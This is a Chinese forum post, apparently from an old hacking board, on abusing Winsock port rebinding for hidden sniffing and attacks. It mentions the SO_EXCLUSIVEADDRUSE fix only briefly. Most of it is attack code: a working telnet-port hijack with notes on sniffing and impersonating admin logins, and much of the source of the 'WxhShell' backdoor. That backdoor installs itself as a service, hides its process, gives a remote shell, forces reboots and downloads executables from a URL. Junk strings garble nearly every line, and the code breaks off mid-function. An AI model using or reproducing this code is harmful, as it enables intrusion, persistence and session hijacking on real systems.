社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18397阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vvxc8v:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |U;w!0  
yb@X*PW/z  
  saddr.sin_family = AF_INET; SL?%/$2g=O  
(H|%?F;{l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VWnu#_(  
8eg2o$k_,#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d +*T@k]>M  
17MN8SfQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m)tI  
`R4W4h'I  
  这意味着什么?意味着可以进行如下的攻击: |q1b8A\  
KDNTnA1c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KD[)O7hYC  
*@b~f&Lx6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hW*^1%1  
7v4-hfN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jgi{7J  
Z7K!"I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^*$WZMMJ1  
V^/h;/! ^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]5qjK~,4b  
IdN%f]=/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ":(Cpf0  
UcKWa>:Fi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q\{;_?a  
!VJT"Ds_  
  #include g/n"N>L  
  #include 8ESkG  
  #include .{-iq(3  
  #include    Gc3PN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P~b%;*m}8  
  int main() vl#V-UW$4P  
  { DbPBgD>Q  
  WORD wVersionRequested; r&j+;JM5  
  DWORD ret; iG;d0>Sp  
  WSADATA wsaData; 9I^H)~S  
  BOOL val; J\Oc]gi\L  
  SOCKADDR_IN saddr; L@^ !(  
  SOCKADDR_IN scaddr; ]9~#;M%1  
  int err; n]6w)wE (  
  SOCKET s; gvwCoCbb  
  SOCKET sc; f6/\JVi)-  
  int caddsize; /M{)k_V  
  HANDLE mt; CM@"lV_  
  DWORD tid;   37za^n?SG  
  wVersionRequested = MAKEWORD( 2, 2 ); \sXm Mc  
  err = WSAStartup( wVersionRequested, &wsaData ); u+, jAkr  
  if ( err != 0 ) { O7L6Htya  
  printf("error!WSAStartup failed!\n"); ":ws~Zep  
  return -1; =^".{h'-  
  } ^HU=E@  
  saddr.sin_family = AF_INET; sV Z}nq{  
    # 8-P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6=[ PJM  
 (t]R#2{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ' m# Ymp  
  saddr.sin_port = htons(23); 'DB({s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ZeDDH  
  { H]]>sE  
  printf("error!socket failed!\n"); 2Xk1A S  
  return -1; z<C~DH  
  } Vv* 5{_  
  val = TRUE; rnt$BB[g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =,} !Ns{k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2[bR6 T89  
  { hF{mm(qyv  
  printf("error!setsockopt failed!\n"); Q=9VuTE  
  return -1; EzY scX.[  
  } fh5^Gd~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s\K-(`j}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Snvj9Nr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "MVN /Gl  
DQHGq_unP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T=)L5Vuq<  
  { h hNFp  
  ret=GetLastError(); >+W?!9[p:2  
  printf("error!bind failed!\n"); q=i,'.nS  
  return -1; 4 9+}OIX  
  } c+ H)1Dfq  
  listen(s,2); n*]x02:LjZ  
  while(1) *SpO|*'  
  { :d/:Ga5v!  
  caddsize = sizeof(scaddr); wE=8jl*  
  //接受连接请求 NIcNL(]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3ks|  
  if(sc!=INVALID_SOCKET) u>-uRz<)t  
  { rBL_]\$7}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D/!G]hx  
  if(mt==NULL) :O2v0Kx  
  { )-7(Hv1  
  printf("Thread Creat Failed!\n"); ?(XX  
  break; UW~tS  
  } JO;` Kz_$  
  } 9cHNwgD>v  
  CloseHandle(mt); Y{\2wU!Isn  
  } s?gXp{O?X  
  closesocket(s); m:o$|7r  
  WSACleanup(); aG&kl O>m  
  return 0; Z_TbM^N  
  }   @eD2<e  
  DWORD WINAPI ClientThread(LPVOID lpParam) Wug?CFX+T  
  { EC&19  
  SOCKET ss = (SOCKET)lpParam; 8CHf.SXh  
  SOCKET sc; m_Y}>  
  unsigned char buf[4096]; |@uhq>&  
  SOCKADDR_IN saddr; Hwi7oXP  
  long num; Wn)A/Z ^r  
  DWORD val; .m % x-i  
  DWORD ret; N/SB}F j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )}Mt'd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4iB)oR  
  saddr.sin_family = AF_INET; 3_['[}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a>e 1jM[  
  saddr.sin_port = htons(23); 2LK*Cv[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;@$," P  
  { nHL>}Yg  
  printf("error!socket failed!\n"); pl? J<48  
  return -1; Op)R3qt{  
  } t`/RcAwA  
  val = 100; GVPEene  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7*W$GCd8  
  { 5EZr"  
  ret = GetLastError(); P xuz {  
  return -1; N=}Z#  
  } R yIaT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \y+F!;IxL  
  { ?@7|Q/  
  ret = GetLastError(); l<:)rg^,  
  return -1; eFI9S.6  
  } >WG91b<Xq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dJgOfg^  
  { E;*TRr><  
  printf("error!socket connect failed!\n"); $+yQ48Wq  
  closesocket(sc); 3xR#,22:}  
  closesocket(ss); H<3b+Sg  
  return -1; 9U%}"uE  
  } BJ;cF"Kp  
  while(1) T%xL=STJNy  
  { # SOj4W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >@\?\!Go  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e(5Px!B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^ C#bW <T  
  num = recv(ss,buf,4096,0); *fyEw\`a  
  if(num>0) P=hf/jOv9  
  send(sc,buf,num,0); gf8U &;  
  else if(num==0) nWg)zj:  
  break; k.VOS 0  
  num = recv(sc,buf,4096,0); K":tr~V;  
  if(num>0) -"b3q  
  send(ss,buf,num,0); IOsDVIXL\  
  else if(num==0) g0 U\AN  
  break; X_yU"U  
  } :BiR6>1:  
  closesocket(ss); ymJw{&^am  
  closesocket(sc); Cl){sP=8W  
  return 0 ; Yl3PZ*#@ Q  
  } CF 0IP  
/-9+(  
'wHkE/ 83  
========================================================== {}2p1-(  
k:yu2dQh  
下边附上一个代码,,WXhSHELL m|?J^_  
mAERZ<I  
========================================================== T[II;[EiE  
~ZIRCTQ"  
#include "stdafx.h" P_Ja?)GT  
zb*4Nsda:  
#include <stdio.h> FO3*[O   
#include <string.h> icbYfgQ  
#include <windows.h> YZ+g<HXB  
#include <winsock2.h> $CV'p/^En  
#include <winsvc.h> V&n JT~k  
#include <urlmon.h> Uv$ u\D+@[  
O c3%pb;  
#pragma comment (lib, "Ws2_32.lib") FK('E3PG  
#pragma comment (lib, "urlmon.lib") tA n6pGp  
y.NArN|%  
#define MAX_USER   100 // 最大客户端连接数 %HS!^j3C%  
#define BUF_SOCK   200 // sock buffer _\6(4a`,  
#define KEY_BUFF   255 // 输入 buffer +VFwYdW,  
pIjVJ9+j  
#define REBOOT     0   // 重启 ]@g$<&  
#define SHUTDOWN   1   // 关机 LR.+C xQ  
'.v^seU  
#define DEF_PORT   5000 // 监听端口 #.xTAvD  
Q";eyYdOL  
#define REG_LEN     16   // 注册表键长度 b,sc  
#define SVC_LEN     80   // NT服务名长度 xL"o)]a=  
nlnJJM&J $  
// 从dll定义API M- A}(r +J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 55en D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !~kzxY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $S("- 3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (KU@hp-\  
0u9h2/ma  
// wxhshell配置信息 BGjTa.&  
struct WSCFG { (!=aRC.-  
  int ws_port;         // 监听端口 -JQg{A  
  char ws_passstr[REG_LEN]; // 口令 +Enff0 =+  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bbp9Q,4  
  char ws_regname[REG_LEN]; // 注册表键名 bS"M*  
  char ws_svcname[REG_LEN]; // 服务名 IH}L1i A)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ez-o*&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fL:Fn"Nv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BS.6d}G4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .`RC,R`C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {bEEQCweNJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | Ylk`<  
ZJm^znpw6  
}; "xI[4~'`:  
xo+z[OIlF  
// default Wxhshell configuration e8v=n@0  
struct WSCFG wscfg={DEF_PORT, p$ <qT^]&  
    "xuhuanlingzhe", M*uG`Eo&  
    1, GC3L2C0)k  
    "Wxhshell", <ZdNPcT<s  
    "Wxhshell", }aIf IJ  
            "WxhShell Service", c,ek]dTj  
    "Wrsky Windows CmdShell Service", O,v$'r W  
    "Please Input Your Password: ", *5)!y d  
  1, >$F]Ss)$  
  "http://www.wrsky.com/wxhshell.exe", _\[G7  
  "Wxhshell.exe" ,oil}N(  
    }; /L^dHI]Q  
}5U f`pM8  
// 消息定义模块 6Fb~`J~s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dG+xr!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *@^0xz{\z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zBfBYhS-  
char *msg_ws_ext="\n\rExit."; [t'"4  
char *msg_ws_end="\n\rQuit."; * vD<6qf  
char *msg_ws_boot="\n\rReboot..."; P!EX;+7+x  
char *msg_ws_poff="\n\rShutdown..."; h='=uj8o5  
char *msg_ws_down="\n\rSave to "; NR{:4zJT  
.EwK>ro4  
char *msg_ws_err="\n\rErr!"; H'>  
char *msg_ws_ok="\n\rOK!"; W aU_Z/{0  
i/z7a%$   
char ExeFile[MAX_PATH]; ],|B4\b;  
int nUser = 0; ^e ii 4  
HANDLE handles[MAX_USER];  j C?  
int OsIsNt; (0S7  
rJ>8|K[kt  
SERVICE_STATUS       serviceStatus; NBX/V^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *Yw6UCO  
R#M).2::  
// 函数声明 :Ib\v88WIv  
int Install(void); d\M !o*U  
int Uninstall(void); `314.a6S  
int DownloadFile(char *sURL, SOCKET wsh); ,~#hHhR_  
int Boot(int flag); J)o%83//  
void HideProc(void); sP%.o7&n  
int GetOsVer(void); >rubMGb  
int Wxhshell(SOCKET wsl); 0 M?}S~p]  
void TalkWithClient(void *cs); ><~hOK?v  
int CmdShell(SOCKET sock); I5]zOKlVR  
int StartFromService(void); yk/XfwQ5  
int StartWxhshell(LPSTR lpCmdLine); \\JXY*DA:+  
T~>:8i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?a@l.ZM*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *VB*/^6A  
ix;8S=eP~{  
// 数据结构和表定义 \ :.p8`  
SERVICE_TABLE_ENTRY DispatchTable[] = D5x^O2  
{ ,PY e7c  
{wscfg.ws_svcname, NTServiceMain}, zAewE@N#_  
{NULL, NULL} p20Nk$.  
}; V5+a[`]  
3]acfCacC  
// 自我安装 VbjW$?  
int Install(void) ?$Pj[O^hl  
{ ~m7+^c@,  
  char svExeFile[MAX_PATH]; |a+8-@-Tj  
  HKEY key; 26A#X  
  strcpy(svExeFile,ExeFile); R#>E{[9  
~WSC6Bh@9  
// 如果是win9x系统,修改注册表设为自启动 |wx1 [xZ  
if(!OsIsNt) { al/~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c@`P{ 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wj&s5;2a  
  RegCloseKey(key); 2ip~qZNw><  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9}N*(PI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zPe .  
  RegCloseKey(key); >\ W" 3.  
  return 0; Eh+lL tZ  
    } vq}V0- <  
  } J']W7!p  
} k>"I!&#g  
else { gQ~4udla.  
Ad`IgZ  
// 如果是NT以上系统,安装为系统服务 -SQYr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A:f+x|[  
if (schSCManager!=0) \]K-<&f  
{ Zh@\+1]  
  SC_HANDLE schService = CreateService f+ &yc'[  
  ( 0W)_5f&  
  schSCManager, n !QjptQ  
  wscfg.ws_svcname, N@}U;x}  
  wscfg.ws_svcdisp, $1e@3mzM  
  SERVICE_ALL_ACCESS, H\T h4teE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `8I&(k<wLe  
  SERVICE_AUTO_START, 4.8,&{w<m  
  SERVICE_ERROR_NORMAL, 0^=S:~G  
  svExeFile, #qWEyb2UZ  
  NULL, 0:*$i(2  
  NULL, zv41Yv!x}  
  NULL, T(6S~; ,Z  
  NULL, /bWV `*  
  NULL !E%!,  
  ); ,3wo  
  if (schService!=0) wZ^/-  
  { [kCn6\_<V  
  CloseServiceHandle(schService); 2rxdRg'YLQ  
  CloseServiceHandle(schSCManager); z,)Fvs4U.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m#Cp.|>kP4  
  strcat(svExeFile,wscfg.ws_svcname); *;Vq0a!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2.6,c$2tB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cMj<k8.{  
  RegCloseKey(key); x\*5A,w{c]  
  return 0; O1 z>A  
    } =c|Bu^(Ctw  
  } -&c@c@dC  
  CloseServiceHandle(schSCManager); {PU[MHZF  
} ]n{2cPx5d  
} xsfq[}eH<  
.D :v0Zm}m  
return 1; tQ/U'Ap&  
} YXvKDw'95  
.}tL:^'~o  
// 自我卸载 HV}NT~  
int Uninstall(void) &c]x;#-y  
{ ;j$84o{  
  HKEY key;  *q^'%'  
! M bRI  
if(!OsIsNt) { G 5)?!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _?{2{^v  
  RegDeleteValue(key,wscfg.ws_regname); &rn,[w_F[  
  RegCloseKey(key); _2|,j\f;L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \1tce`+  
  RegDeleteValue(key,wscfg.ws_regname); nP}/#Wy  
  RegCloseKey(key); |aZ^K\yIF  
  return 0; { Z|C  
  } /:S.(" Unv  
} eA!aUu  
} H:|yu  
else { <a'j8pw9i  
Z8m/8M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m+o>`1>a  
if (schSCManager!=0) LcF0:h'  
{ m_pK'jc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B$\5=[U  
  if (schService!=0) 9U+^8,5  
  { U*-%V$3+w5  
  if(DeleteService(schService)!=0) { kr3ZqMfeI  
  CloseServiceHandle(schService); l!oU9  
  CloseServiceHandle(schSCManager); '8dqJ`Gj  
  return 0; pPIH`Iq  
  } Va1|XQ<CL  
  CloseServiceHandle(schService); 9Vp$A$7M  
  } }>grGr%oR  
  CloseServiceHandle(schSCManager); pD){K  
} dZZHk  
} &B))3WFy  
UPbG_ #"wZ  
return 1; 2+|[e_  
} 6ds&n#n  
V482V#BP  
// 从指定url下载文件 jildiT[s  
int DownloadFile(char *sURL, SOCKET wsh) [9w8oNg0  
{ *`dGapd3  
  HRESULT hr; [x@iqFO9  
char seps[]= "/"; 9{+B l NZ  
char *token; ?f a/}|T  
char *file; towQoqv  
char myURL[MAX_PATH]; Z!*Wn`d-k  
char myFILE[MAX_PATH]; W{k}ogI;  
%cBJ haR{(  
strcpy(myURL,sURL); -1fT2e  
  token=strtok(myURL,seps); aa$+(  
  while(token!=NULL) HbCM{A9  
  { r=s7be  
    file=token; y M>c**9  
  token=strtok(NULL,seps); r| YuHm  
  } ZVI.s U  
PyIIdTm  
GetCurrentDirectory(MAX_PATH,myFILE); 3uN;*f  
strcat(myFILE, "\\"); CA{c-kG  
strcat(myFILE, file); T,k`WR  
  send(wsh,myFILE,strlen(myFILE),0); (;!&RZ  
send(wsh,"...",3,0); yXl zImPn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'GAjx{gM  
  if(hr==S_OK) ,KZ_#9[>  
return 0; @*F NWT6  
else b8>r UGA{  
return 1; ZVeY`o(uE  
la f b^  
} 94H 6`  
T'FRnC^~  
// 系统电源模块  /I="+  
int Boot(int flag) M,NYF`;a  
{ ZE4~rq/W  
  HANDLE hToken; mlX^5h'  
  TOKEN_PRIVILEGES tkp; Fz-Bd*uS  
o ;.j_  
  if(OsIsNt) { $n!saPpxS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `j@2[XdHu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ij/ |~-!  
    tkp.PrivilegeCount = 1; @ 3FTf"#Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ![ Fb~Egc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7n {uxE#U)  
if(flag==REBOOT) { 0z.Hl1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i{xgygp6f  
  return 0; _bu, 1EM  
} jeC3}BL }  
else { DjtUX>e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LC/6'4}_  
  return 0; <!R~G-D#_T  
} 0zetOlFbO  
  } nCJ)=P.d  
  else { G,%R`Xns  
if(flag==REBOOT) { G|v{[>tr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rD fUTfv|Q  
  return 0; ~gmj /PQ0  
} :,% vAI  
else { <t&0[l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )y_MI r  
  return 0; zJOL\J'  
} f8!*4Bw  
} b<NI6z8\  
3 `$-  
return 1; K'Wg_ihA  
} p8frSrcU  
*ax$R6a#X  
// win9x进程隐藏模块 &+Xj%x.]  
void HideProc(void) m o nqaSF  
{ QVsOB$  
C65( m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *6?h,Dt L  
  if ( hKernel != NULL ) +g>)Bur  
  { w/#k.YE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L W 8LD|@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3a_~18W  
    FreeLibrary(hKernel); ZG"_M@S.  
  } Z~CL|=  
s,)Z8H  
return; 9s7sn*aB#5  
} M<4~ewWJ  
7X*$Fu<  
// 获取操作系统版本 tU.Y$%4  
int GetOsVer(void) 7='lu;=,  
{ M3!A?!BU  
  OSVERSIONINFO winfo; |9Q4VY'";  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }vgeQh-G  
  GetVersionEx(&winfo); uzr(gFd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q,S~+bD(z  
  return 1; j|c  
  else ;*Ldnj;B  
  return 0; .Cwg l  
} wsYvbI!  
Mj|\LF +  
// 客户端句柄模块 Lk9X>`b#B  
int Wxhshell(SOCKET wsl) hRHqG  
{ ;shhg z$  
  SOCKET wsh; UJ* D  
  struct sockaddr_in client; qwM71B!r  
  DWORD myID; ZxF RE#y~2  
2+ m%f"  
  while(nUser<MAX_USER) B>hf|.GI  
{ 50q(8F-N  
  int nSize=sizeof(client); rozp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m-Z<zEQ  
  if(wsh==INVALID_SOCKET) return 1; o'O;69D]tX  
LVP2jTz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 38#BINhBt  
if(handles[nUser]==0) MH7 n@.t  
  closesocket(wsh); )7jjfD\  
else #q#C_"  
  nUser++; z3x /Y/X$S  
  } "H\1Z,P<m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5+Fr/C  
H3CG'?{ _  
  return 0; yq]=+X>(  
} WR,MqM20  
Is57)(^.-  
// 关闭 socket W<| M0S{  
void CloseIt(SOCKET wsh) ]wb^5H  
{ Pfi|RTX$'*  
closesocket(wsh); 4@19_+3  
nUser--;  i;B &~  
ExitThread(0); Sy()r 6n  
} v,]-;V~<  
i[L5,%5<H  
// 客户端请求句柄 )S"!)\4 b  
void TalkWithClient(void *cs) GWd71ZtFO  
{ 1seWR"  
GYH{_Fq  
  SOCKET wsh=(SOCKET)cs; +)$oy]  
  char pwd[SVC_LEN]; rZ`+g7&^Fh  
  char cmd[KEY_BUFF]; ,Y9bXC8+dU  
char chr[1]; ~P!\;S  
int i,j; x9\z^GU%H  
eLFxGZZ  
  while (nUser < MAX_USER) { u|(;SY  
!r^fX=X>'  
if(wscfg.ws_passstr) { [~_)]"pU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Nk'yow  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7]sRHX0o%  
  //ZeroMemory(pwd,KEY_BUFF); JX!z,X?r4  
      i=0; &FrUj>i  
  while(i<SVC_LEN) { }Um,wY[tK  
gI~B _0x  
  // 设置超时 R|D%1@i]  
  fd_set FdRead; *{y({J  
  struct timeval TimeOut; <tUl(q+ty  
  FD_ZERO(&FdRead); z H|YVg  
  FD_SET(wsh,&FdRead); (>]frlEU~  
  TimeOut.tv_sec=8; "t0l)P*C}  
  TimeOut.tv_usec=0; Wdk]>w 'L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UA4="/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z-%zR'-?*  
65]>6D43  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *? V boyU  
  pwd=chr[0]; rF?gKk  
  if(chr[0]==0xd || chr[0]==0xa) { O, .c gX   
  pwd=0; Yw(O}U 5e  
  break; _p*a`,tK  
  } Dc@OrQu  
  i++; l6_dVK;s  
    } iH a:6  
?i{/iH~Sf  
  // 如果是非法用户,关闭 socket p C^=?!:U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Phq"A[4=O  
} DyPHQ}G  
GBYeiEgZh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \^oI3K0`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <#nt?Xn  
s,CN<`/>x  
while(1) { x`:c0y9uG  
PQj'D <G  
  ZeroMemory(cmd,KEY_BUFF); XgI;2Be+&a  
v`r![QpYf  
      // 自动支持客户端 telnet标准   -kk0zg &|i  
  j=0; Talmc|h  
  while(j<KEY_BUFF) { "LNLM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *3iEO>  
  cmd[j]=chr[0]; +-r ~-bs  
  if(chr[0]==0xa || chr[0]==0xd) { ctOBV  
  cmd[j]=0; F,8?du]  
  break; rSa=NpFxLu  
  } FW"n+7T  
  j++; Nn#;Kjul.  
    } G)IK5zCDd  
V1#:[o63+  
  // 下载文件 N&yr?b'!-*  
  if(strstr(cmd,"http://")) { m)l'i!Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :y.~IQN  
  if(DownloadFile(cmd,wsh)) 8-B6D~i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y(RB@+67  
  else &>f]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %63s(ekU  
  } [a_'pAH  
  else { 5[y+X|Am  
(nu;o!mo9  
    switch(cmd[0]) { u|"y&>!R-  
  lFtH;h,==v  
  // 帮助 dI+Y1Vq  
  case '?': { FLo`EE":O(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8'PK}heBU  
    break; 2#(dfEAy  
  } m Ce"=[  
  // 安装 w8D6j%C  
  case 'i': { :al ,zxs  
    if(Install()) ,! H`@Kl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D"msD"  
    else Q h{P>}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !^'6&NR#K  
    break; ]f~!Qk!I7r  
    } dv Vz#  
  // 卸载 <v6W l\  
  case 'r': { $[g#P^  
    if(Uninstall()) s<+;5, Q|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m[CyvcF*u  
    else B.C:06E5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d#HlO}  
    break; T65"?=<EB  
    } IISdC(5  
  // 显示 wxhshell 所在路径 Q@1SqK#-DQ  
  case 'p': { "l{{H&d  
    char svExeFile[MAX_PATH]; e3mFO+  
    strcpy(svExeFile,"\n\r"); i}e/!IVR3  
      strcat(svExeFile,ExeFile); ix hF,F  
        send(wsh,svExeFile,strlen(svExeFile),0); 4T]A! y{  
    break; ]!]B7|JFJ  
    } )Ma/] eZ^I  
  // 重启 *xjP^y":  
  case 'b': { O!ilTMr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~h:(9q8NLC  
    if(Boot(REBOOT)) v@4vitbG9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :='I>Gn  
    else { yl&s!I  
